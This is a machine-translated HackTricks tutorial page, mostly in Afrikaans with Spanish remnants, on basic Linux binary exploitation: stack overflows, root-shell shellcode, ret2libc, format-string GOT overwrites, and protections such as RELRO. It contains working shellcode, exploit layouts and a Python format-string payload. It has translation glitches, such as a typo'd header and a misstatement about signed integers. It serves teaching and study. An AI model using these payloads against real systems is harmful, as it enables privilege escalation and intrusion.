hacktricks/exploiting/linux-exploiting-basic-esp
2024-03-29 12:47:32 +00:00
..
rop-leaking-libc-address Translated to Afrikaans 2024-02-11 02:07:06 +00:00
bypassing-canary-and-pie.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
format-strings-template.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
fusion.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
README.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'reversin 2024-03-29 12:47:32 +00:00
ret2lib.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
rop-syscall-execv.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00

Linux Exploiting (Basies) (SPA)

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

1.STACK OVERFLOWS

buffer overflow, buffer overrun, stack overrun, stack smashing

Fallo de segmentaciĂłn o violaciĂłn de segmento: Wanneer daar gepoog word om toegang te verkry tot 'n adres van geheue wat nie aan die proses toegewys is nie.

Om die adres van 'n funksie binne 'n program te verkry, kan jy dit doen:

objdump -d ./PROGRAMA | grep FUNCION

ROP

Oproep na sys_execve

{% content-ref url="rop-syscall-execv.md" %} rop-syscall-execv.md {% endcontent-ref %}

2.SHELLCODE

Bekyk kernelonderbrekings: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; skoonmaak eax
xor ebx, ebx ; ebx = 0 want daar is geen argument om oor te dra nie
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Voer syscall uit

nasm -f elf assembly.asm —> Gee ons 'n .o terug
ld assembly.o -o shellcodeout —> Gee ons 'n uitvoerbare lĂȘer wat deur die saamgestelde kode gevorm word en ons kan die opkodes met objdump kry
objdump -d -Mintel ./shellcodeout —> Om te sien dat dit werklik ons shellcode is en om die OpCodes te kry

Bevestig dat die shellcode werk

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1">​</span>

Om te sien of die stelseloproepe korrek uitgevoer word, moet die vorige program gekompileer word en die stelseloproepe moet verskyn in strace ./GEKOMPILIEERDE_PROGRAM

Wanneer jy shellkodes skep, kan jy 'n truuk gebruik. Die eerste instruksie is 'n sprong na 'n oproep. Die oproep roep die oorspronklike kode aan en sit ook die EIP in die stapel. Na die oproepinstruksie het ons die string ingevoeg wat ons nodig het, sodat ons met daardie EIP na die string kan wys en ook kan aanhou om die kode uit te voer.

EJ TRUCO (/bin/sh):

jmp                 0x1f                                        ; Salto al Ășltimo call
popl                %esi                                       ; Guardamos en ese la direcciĂłn al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instruciĂłn
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1">​</span>

EJ gebruik van die Stok(/bin/sh):

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutĂł fabs



Eierjagter:

Dit behels 'n klein kode wat die geheuebladsye van 'n proses deursoek op soek na die daar gestoorde shellcode (soek na 'n handtekening wat in die shellcode geplaas is). Nuttig in gevalle waar daar slegs 'n klein spasie is om kode in te spuit.

Polimorfiese shellkodes

Dit is versleutelde skulpe met 'n klein kodes wat dit ontsluit en daarna daarna spring, deur die Call-Pop-truuk te gebruik, sou dit 'n versleutelde Caesar-voorbeeld wees:

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerĂĄ)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;AquĂ­ va el shellcode
  1. Aanval op die Raam-aanwyser (EBP)

Nuttig in 'n situasie waar ons die EBP kan wysig maar nie die EIP nie.

Dit is bekend dat die volgende assamblierkode uitgevoer word wanneer 'n funksie verlaat word:

movl               %ebp, %esp
popl                %ebp
ret

Op hierdie manier kan die EBP gewysig word wanneer 'n funksie (fvuln) wat deur 'n ander funksie geroep is, verlaat word, sodat wanneer die funksie wat fvuln geroep het, klaar is, kan sy EIP gewysig word.

In fvuln kan 'n vals EBP ingevoer word wat na 'n plek wys waar die adres van die shellcode + 4 is (4 moet bygevoeg word vir die pop). Op hierdie manier, wanneer die funksie verlaat word, sal die waarde van &(&Shellcode)+4 in ESP ingevoer word, met die pop sal 4 van ESP afgetrek word en dit sal na die adres van die shellcode wys wanneer die ret uitgevoer word.

Exploit:
&Shellcode + "AAAA" + SHELLCODE + padding + &(&Shellcode)+4

Off-by-One Exploit
Dit maak dit moontlik om net die minst betekenisvolle byte van die EBP te wysig. 'n Aanval soos die vorige kan uitgevoer word, maar die geheue wat die adres van die shellcode berg, moet die eerste 3 byte deel met die EBP.

4. Metodes terug na Libc

'n Nuttige metode wanneer die stapel nie uitvoerbaar is nie of 'n baie klein buffer oorlaat om te wysig.

ASLR veroorsaak dat funksies in elke uitvoering op verskillende plekke in die geheue gelaai word. Daarom mag hierdie metode nie effektief wees in daardie geval nie. Vir afgeleë bedieners, aangesien die program konstant in dieselfde rigting uitgevoer word, kan dit nuttig wees.

  • cdecl(C declaration) Plaas die argumente op die stapel en skoon die stapel nadat die funksie verlaat is
  • stdcall(standard call) Plaas die argumente op die stapel en dit is die geroepte funksie wat dit skoonmaak
  • fastcall Plaas die eerste twee argumente in register en die res op die stapel

Die adres van die system-instruksie van libc word ingevoer en die string "/bin/sh" word as argument deurgegee, gewoonlik vanaf 'n omgewingsveranderlike. Daarbenewens word die adres van die exit-funksie gebruik sodat wanneer die skil nie meer benodig word nie, sal die program sonder probleme afsluit (en logboeke skryf).

export SHELL=/bin/sh

Om die benodigde adresse te vind, kan jy binne GDB kyk:
p system
p exit
rabin2 -i uitvoerbare lĂȘer —> Gee die adresse van al die funksies wat die program gebruik wanneer dit gelaai word
(Binne 'n begin of enige onderbreking): x/500s $esp —> Soek binne hierdie die string /bin/sh

Sodra hierdie adresse het, sal die exploit so lyk:

“A” * EBP AFSTAND + 4 (EBP: dit kan 4 "A"s wees, alhoewel dit beter is as dit die werklike EBP is om segmenteringsfoute te voorkom) + Adres van system (sal die EIP oorskryf) + Adres van exit (wanneer system("/bin/sh") verlaat word, sal hierdie funksie geroep word omdat die eerste 4 byte van die stapel as die volgende EIP-adres om uit te voer, hanteer word) + Adres van “/bin/sh” (sal die parameter wees wat aan system oorgedra word)

Op hierdie manier sal die EIP oorskryf word met die adres van system wat die string "/bin/sh" as parameter sal ontvang en wanneer dit verlaat word, sal die exit()-funksie uitgevoer word.

Dit is moontlik dat 'n byte van 'n adres van 'n funksie nul of 'n spatie (\x20) is. In daardie geval kan die vorige adresse ontleed word omdat daar waarskynlik verskeie NOP's is wat ons in staat stel om een van hulle te roep in plaas van die funksie direk (byvoorbeeld met > x/8i system-4).

Hierdie metode werk omdat wanneer 'n funksie soos system geroep word deur die opcode ret in plaas van call te gebruik, verstaan die funksie dat die eerste 4 byte die EIP-adres is waarna teruggekeer moet word.

'n Interessante tegniek met hierdie metode is om strncpy() te roep om 'n lading van die stapel na die heap te skuif en daarna gets() te gebruik om hierdie lading uit te voer.

'n Ander interessante tegniek is die gebruik van mprotect() wat toelaat dat die gewenste regte aan enige deel van die geheue toegewys word. Dit werk of het gewerk in BDS, MacOS en OpenBSD, maar nie in Linux (beheer dat skryf- en uitvoeringsregte nie gelyktydig toegestaan kan word nie). Met hierdie aanval kan die stapel weer as uitvoerbaar ingestel word.

Funksieketting

Gebaseer op die vorige tegniek, bestaan hierdie exploiteermetode uit:
Vulling + &Funksie1 + &pop;ret; + &arg_fun1 + &Funksie2 + &pop;ret; + &arg_fun2 + 


Op hierdie manier kan funksies aanmekaar geketting word om op te roep. Daarbenewens, as funksies met verskeie argumente gebruik wil word, kan die nodige argumente (bv. 4) geplaas word en die 4 argumente ingevoer word en die adres na 'n plek met opcodes soek: pop, pop, pop, pop, ret —> objdump -d uitvoerbare lĂȘer

Ketting deur valse raamwerke (EBP-ketting)

Dit behels die benutting van die vermoë om die EBP te manipuleer om die uitvoering van verskeie funksies deur die EBP en "leave;ret" te ketting.

VULLING

  • Plaas 'n vals EBP wat wys na: 2de vals EBP + die funksie om uit te voer: (&system() + &leave;ret + &“/bin/sh”)
  • Plaas die adres van 'n funksie &(leave;ret) in die EIP

Begin die shellcode met die adres na die volgende deel van die shellcode, byvoorbeeld: 2de vals EBP + &system() + &(leave;ret;) + &”/bin/sh”

die 2de EBP sal wees: 3de vals EBP + &system() + &(leave;ret;) + &”/bin/ls”

Hierdie shellcode kan onbeperk herhaal word in die geheue dele waar toegang tot verkry word sodat 'n shellcode maklik deur klein stukke geheue verdeel kan word.

(Die uitvoering van funksies word geketting deur die vorige gesien kwesbaarhede van EBP en ret2lib)

5. Aanvullende metodes

Ret2Ret

Nuttig wanneer 'n adres van die stapel nie in die EIP ingevoer kan word nie (dit word geverifieer dat die EIP nie 0xbf bevat nie) of wanneer die ligging van die shellcode nie bereken kan word nie. Maar, die kwesbare funksie aanvaar 'n parameter (die shellcode sal hier wees).

Op hierdie manier, deur die EIP te verander na 'n adres van 'n ret, sal die volgende adres gelaai word (wat die adres van die eerste argument van die funksie is). Met ander woorde, die shellcode sal gelaai word.

Die exploit sal wees: SHELLCODE + Vulling (tot by EIP) + &ret (die volgende byte van die stapel wys na die begin van die shellcode omdat die adres van die oorgedraaide parameter in die stapel ingevoer word)

Dit blyk dat funksies soos strncpy sodra voltooi is, die adres waar die shellcode gestoor was, van die stapel verwyder en hierdie tegniek onmoontlik maak. Met ander woorde, die adres wat as argument aan die funksie oorgedra word (wat die shellcode berg) word gewysig deur 'n 0x00 sodat wanneer die tweede ret geroep word, dit 'n 0x00 vind en die program sterf.

**Ret2PopRet**

Indien ons nie beheer het oor die eerste argument nie, maar wel oor die tweede of derde, kan ons EIP oorskryf met 'n adres na pop-ret of pop-pop-ret, afhangende van wat ons nodig het.

Murat se Tegniek

In Linux word alle programme afgebeeld beginnende by 0xbfffffff.

Deur te kyk hoe die stapel van 'n nuwe proses in Linux opgebou word, kan 'n uitbuit ontwikkel word sodat die program in 'n omgewing begin word waarvan die enigste veranderlike die shellcode is. Die adres daarvan kan dan bereken word as: addr = 0xbfffffff - 4 - strlen(VOLLEDIGE_UITVOERBARE_NAAM) - strlen(shellcode)

Op hierdie manier kan die adres waar die omgewingsveranderlike met die shellcode is, maklik verkry word.

Dit kan gedoen word omdat die execle-funksie 'n omgewing kan skep wat net die gewenste omgewingsveranderlikes het.

Spring na ESP: Windows-styl

Omdat ESP altyd na die begin van die stapel wys, behels hierdie tegniek om die EIP te vervang met 'n adres na 'n oproep na jmp esp of call esp. Op hierdie manier word die shellcode gestoor nĂĄ die oorskrywing van die EIP, aangesien na die uitvoering van die ret ESP sal wys na die volgende adres, presies waar die shellcode gestoor is.

Indien ASLR nie geaktiveer is in Windows of Linux nie, kan jmp esp of call esp geroep word wat gestoor is in 'n gedeelde voorwerp. Indien ASLR wel aktief is, kan binne die kwesbare program self gesoek word.

Verder, die feit dat die shellcode na die korrupsie van die EIP geplaas kan word eerder as in die middel van die stapel, maak dit moontlik dat die push- of pop-instruksies wat in die middel van die funksie uitgevoer word, nie die shellcode sal raak nie (iets wat kon gebeur as dit in die middel van die stapel van die funksie geplaas word).

Baie soortgelyk hieraan, as ons weet dat 'n funksie die adres waar die shellcode gestoor is, teruggee, kan call eax of jmp eax (ret2eax) geroep word.

Heeltal-oorvloeiings

Hierdie tipe oorvloeiings vind plaas wanneer 'n veranderlike nie gereed is om 'n so groot getal te hanteer soos wat aan hom oorgedra word nie, moontlik as gevolg van 'n verwarring tussen veranderlikes met en sonder teken, byvoorbeeld:

#include <stdion.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}

In die vorige voorbeeld sien ons dat die program verwag dat 2 parameters ingevoer word. Die eerste is die lengte van die volgende string en die tweede is die string.

As ons 'n negatiewe getal as die eerste parameter invoer, sal dit aandui dat len < 256 en sal ons daardie filter omseil, en ook sal strlen(buffer) kleiner wees as l, aangesien l 'n ondertekenende int is en baie groot sal wees.

Hierdie tipe oorvloeiings poog nie om iets in die proses van die program te skryf nie, maar om sleg ontwerpte filters te omseil om ander kwesbaarhede te benut.

OngeĂŻnitialiseerde veranderlikes

Dit is onbekend watter waarde 'n ongeĂŻnitialiseerde veranderlike kan aanneem en dit kan interessant wees om dit te monitor. Dit kan gebeur dat dit die waarde aanneem wat 'n veranderlike van die vorige funksie aangeneem het en dit deur die aanvaller beheer word.

Formaat Strings

In C is printf 'n funksie wat gebruik kan word om 'n string af te druk. Die eerste parameter wat hierdie funksie verwag, is die rou teks met die formateerders. Die volgende parameters wat verwag word, is die waardes om die formateerders van die rou teks te vervang.

Die kwesbaarheid kom na vore wanneer 'n aanvallersteks as die eerste argument aan hierdie funksie voorsien word. Die aanvaller sal in staat wees om 'n spesiale inset te skep wat die printf-formaatstringvermoĂ«ns misbruik om enige data na enige adres te skryf. Op hierdie manier kan hulle arbitrĂȘre kode uitvoer.

Formateerders:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

%n skryf die aantal geskryfde bytes in die aangeduide adres. Om enige data te skryf, skryf soveel bytes as die heksadesimale nommer wat ons moet skryf.

AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4Âș param
AAAA.%500\$08x —> Param at offset 500

GOT (Global Offsets Table) / PLT (Procedure Linkage Table)

Dit is die tabel wat die adres na die eksterne funksies bevat wat deur die program gebruik word.

Kry die adres na hierdie tabel met: objdump -s -j .got ./exec

Let op hoe na die laai van die uitvoerbare lĂȘer in GEF jy die funksies kan sien wat in die GOT is: gef➀ x/20x 0xDIR_GOT

Met GEF kan jy 'n foutopsporing sessie begin en got uitvoer om die got-tabel te sien:

In 'n binĂȘre lĂȘer het die GOT die adresse na die funksies of na die PLT-afdeling wat die funksie-adres sal laai. Die doel van hierdie uitbuiting is om die GOT-inskrywing te oorskryf van 'n funksie wat later uitgevoer gaan word met die adres van die PLT van die system funksie. Ideaal gesproke, sal jy die GOT van 'n funksie oorskryf wat later geroep gaan word met parameters wat deur jou beheer word (sodat jy die parameters wat na die stelsel-funksie gestuur word, kan beheer).

As system nie deur die skrip gebruik word nie, sal die stelsel-funksie nie 'n inskrywing in die GOT hĂȘ nie. In hierdie scenario sal jy eerstens die adres moet lek van die system-funksie.

Procedure Linkage Table is 'n lees net tabel in 'n ELF-lĂȘer wat al die nodige simbole wat 'n oplossing benodig stoor. Wanneer een van hierdie funksies geroep word, sal die GOT die vloei na die PLT omskakel sodat dit die adres van die funksie kan oplos en dit op die GOT kan skryf.
Dan, die volgende keer wat 'n oproep na daardie adres uitgevoer word, word die funksie direk geroep sonder om dit op te los.

Jy kan die PLT-adresse sien met objdump -j .plt -d ./vuln_binary

Uitbuiting Vloei

Soos voorheen verduidelik, gaan die doel wees om die adres van 'n funksie in die GOT-tabel wat later geroep gaan word, te oor skryf. Ideaal gesproke kan ons die adres na 'n shell-kode wat in 'n uitvoerbare afdeling geleë is, instel, maar dit is baie waarskynlik dat jy nie 'n shell-kode in 'n uitvoerbare afdeling kan skryf nie.
Dus 'n ander opsie is om 'n funksie wat sy argumente van die gebruiker ontvang te oor skryf en dit na die system funksie te verwys.

Om die adres te skryf, word gewoonlik 2 stappe gedoen: Jy skryf eers 2Grepe van die adres en dan die ander 2. Om dit te doen word $hn gebruik.

HOB word genoem na die 2 hoër grepe van die adres
LOB word genoem na die 2 laer grepe van die adres

Dus, as gevolg van hoe formaatstring werk, moet jy eerstens die kleinste van [HOB, LOB] skryf en dan die ander een.

As HOB < LOB
[adres+2][adres]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

As HOB > LOB
[adres+2][adres]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NÂșParam_dir_HOB LOB_shell-HOB_shell NÂșParam_dir_LOB

`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'`

Formaatstring Uitbuiting Sjabloon

Jy kan 'n sjabloon vind om die GOT uit te buit deur formaatstrings hier:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

.fini_array

Essensieel is dit 'n struktuur met funksies wat geroep sal word voordat die program eindig. Dit is interessant as jy jou shell-kode kan roep deur net na 'n adres te spring, of in gevalle waar jy terug moet gaan na die hoofprogram om die formaatstring 'n tweede keer te uitbuit.

objdump -s -j .fini_array ./greeting

./greeting:     file format elf32-i386

Contents of section .fini_array:
8049934 a0850408

#Put your address in 0x8049934

Merk op dat hierdie nie 'n ewige lus sal skep nie omdat wanneer jy terugkeer na die hoofprogram, sal die kanarie dit opmerk, die einde van die stapel mag gekorrup word en die funksie sal nie weer opgeroep word nie. Dus met hierdie sal jy in staat wees om 1 meer uitvoering van die kwesbaarheid te hĂȘ.

Formateer Strings om Inhoud te Dump

'n Formateerstring kan ook misbruik word om inhoud uit die geheue van die program te dump.
Byvoorbeeld, in die volgende situasie is daar 'n plaaslike veranderlike in die stapel wat na 'n vlag wys. As jy vind waar in die geheue die aanwyser na die vlag is, kan jy printf toegang tot daardie adres maak en die vlag druk:

So, vlag is in 0xffffcf4c

En vanuit die lek kan jy sien dat die aanwyser na die vlag in die 8ste parameter is:

Dus, deur die 8ste parameter te benader, kan jy die vlag kry:

Merk op dat na die vorige aanval en besef dat jy inhoud kan lek, kan jy aanwysers instel na printf na die afdeling waar die uitvoerbare lĂȘer gelaai is en dit heeltemal dump!

DTOR

{% hint style="danger" %} Teenwoordig is dit baie vreemd om 'n binĂȘre lĂȘer met 'n dtor-afdeling te vind. {% endhint %}

Die vernietiger is funksies wat uitgevoer word voordat die program eindig.
As jy daarin slaag om 'n adres na 'n shellcode in __DTOR_END__ te skryf, sal dit uitgevoer word voordat die programme eindig.
Kry die adres van hierdie afdeling met:

objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”

Gewoonlik sal jy die DTOR-afdeling tussen die waardes ffffffff en 00000000 vind. Dus as jy net daardie waardes sien, beteken dit dat daar geen funksie geregistreer is nie. Oorskryf dus die 00000000 met die adres na die shellcode om dit uit te voer.

Formaat Strings na Buffer Oorvloei

Die sprintf skuif 'n geformateerde string na 'n veranderlike. Jy kan dus die formatering van 'n string misbruik om 'n buffer oorvloei in die veranderlike waar die inhoud na gekopieer word, te veroorsaak.
Byvoorbeeld, die lading %.44xAAAA sal 44B+"AAAA" in die veranderlike skryf, wat 'n buffer oorvloei kan veroorsaak.

__atexit Strukture

{% hint style="danger" %} Teenwoordig is dit baie vreemd om dit uit te buit. {% endhint %}

atexit() is 'n funksie waar ander funksies as parameters oorgedra word. Hierdie funksies sal uitgevoer word wanneer 'n exit() uitgevoer word of die terugkeer van die hooffunksie.
As jy die adres van enige van hierdie funksies kan wysig om na 'n shellcode byvoorbeeld te wys, sal jy beheer oor die proses kry, maar dit is tans meer ingewikkeld.
Tans is die adresse van die funksies wat uitgevoer moet word, verskuil agter verskeie strukture en uiteindelik is die adres waarna dit wys nie die adresse van die funksies nie, maar is geënkripteer met XOR en verskuiwings met 'n willekeurige sleutel. Dus is hierdie aanvalsvektor tans nie baie nuttig ten minste op x86 en x64_86 nie.
Die enkripsiefunksie is PTR_MANGLE. Ander argitekture soos m68k, mips32, mips64, aarch64, arm, hppa... implementeer nie die enkripsiefunksie nie omdat dit dieselfde teruggee as wat dit as inset ontvang het. Dus sou hierdie argitekture vatbaar wees vir hierdie vektor.

setjmp() & longjmp()

{% hint style="danger" %} Teenwoordig is dit baie vreemd om dit uit te buit. {% endhint %}

Setjmp() maak dit moontlik om die konteks (die registers) te stoor.
longjmp() maak dit moontlik om die konteks te herstel.
Die gestoorde registers is: EBX, ESI, EDI, ESP, EIP, EBP
Wat gebeur is dat EIP en ESP deur die PTR_MANGLE-funksie gestuur word, dus die argitektuur wat vatbaar is vir hierdie aanval is dieselfde as hierbo.
Hulle is nuttig vir foutherstel of onderbrekings.
Tog, van wat ek gelees het, is die ander registers nie beskerm nie, dus as daar 'n call ebx, call esi of call edi binne die funksie wat geroep word, is, kan beheer oorgeneem word. Of jy kan ook EBP wysig om die ESP te wysig.

VTable en VPTR in C++

Elke klas het 'n Vtabel wat 'n reeks aanwysers na metodes is.

Elke objek van 'n klas het 'n VPtr wat 'n aanwyser na die reeks van sy klas is. Die VPtr is deel van die kop van elke objek, dus as 'n oorvloei van die VPtr bereik word, kan dit gewysig word om na 'n dummie-metode te wys sodat die uitvoering van 'n funksie na die shellcode sal gaan.

Preventiewe maatreëls en ontwykings

Return-into-printf

Dit is 'n tegniek om 'n buffer oorvloei in 'n fout van die formaatstring te omskep. Dit behels die vervanging van die EIP sodat dit na 'n printf van die funksie wys en 'n geformateerde string as argument deurgee wat gemanipuleer is om waardes oor die toestand van die proses te verkry.

Aanval op biblioteke

Biblioteke is in 'n posisie met 16 bits van willekeurigheid = 65636 moontlike adresse. As 'n vatbare bediener fork() aanroep, word die geheue-adresruimte in die kinderproses gekloneer en bly dit ongeskonde. Daarom kan 'n brute force-poging gedoen word om die usleep() funksie van libc te oorval deur "16" as argument te gee, sodat as dit langer as normaal neem om te reageer, die funksie gevind is. Deur te weet waar hierdie funksie is, kan delta_mmap verkry word en die res bereken word.

Die enigste manier om seker te wees dat die ASLR werk, is om 64-bits argitektuur te gebruik. Daar is geen brute force-aanvalle nie.

Relro

Relro (Read only Relocation) beĂŻnvloed die geheue-toestemmings soortgelyk aan NX. Die verskil is dat terwyl dit met NX die stapel uitvoerbaar maak, maak RELRO sekere dinge net leesbaar sodat ons nie daaraan kan skryf nie. Die mees algemene manier waarop ek gesien het dat dit 'n struikelblok is, is om ons te verhoed om 'n got-tabel-oorvloei te doen, wat later gedek sal word. Die got-tabel bevat adresse vir libc-funksies sodat die binĂȘre weet wat die adresse is en hulle kan aanroep. Laat ons kyk na hoe die geheue-toestemmings lyk vir 'n got-tabelinskrywing vir 'n binĂȘre met en sonder relro.

Met relro:

gef➀  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➀  p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➀  search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
0x555555557fd0 - 0x555555557fe8  →   "\x00\xd1\xe4\xf7\xff\x7f[...]"

Sondef relro:

gef➀  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➀  p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➀  search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
0x404018 - 0x404030  →   "\x00\xd1\xe4\xf7\xff\x7f[...]"

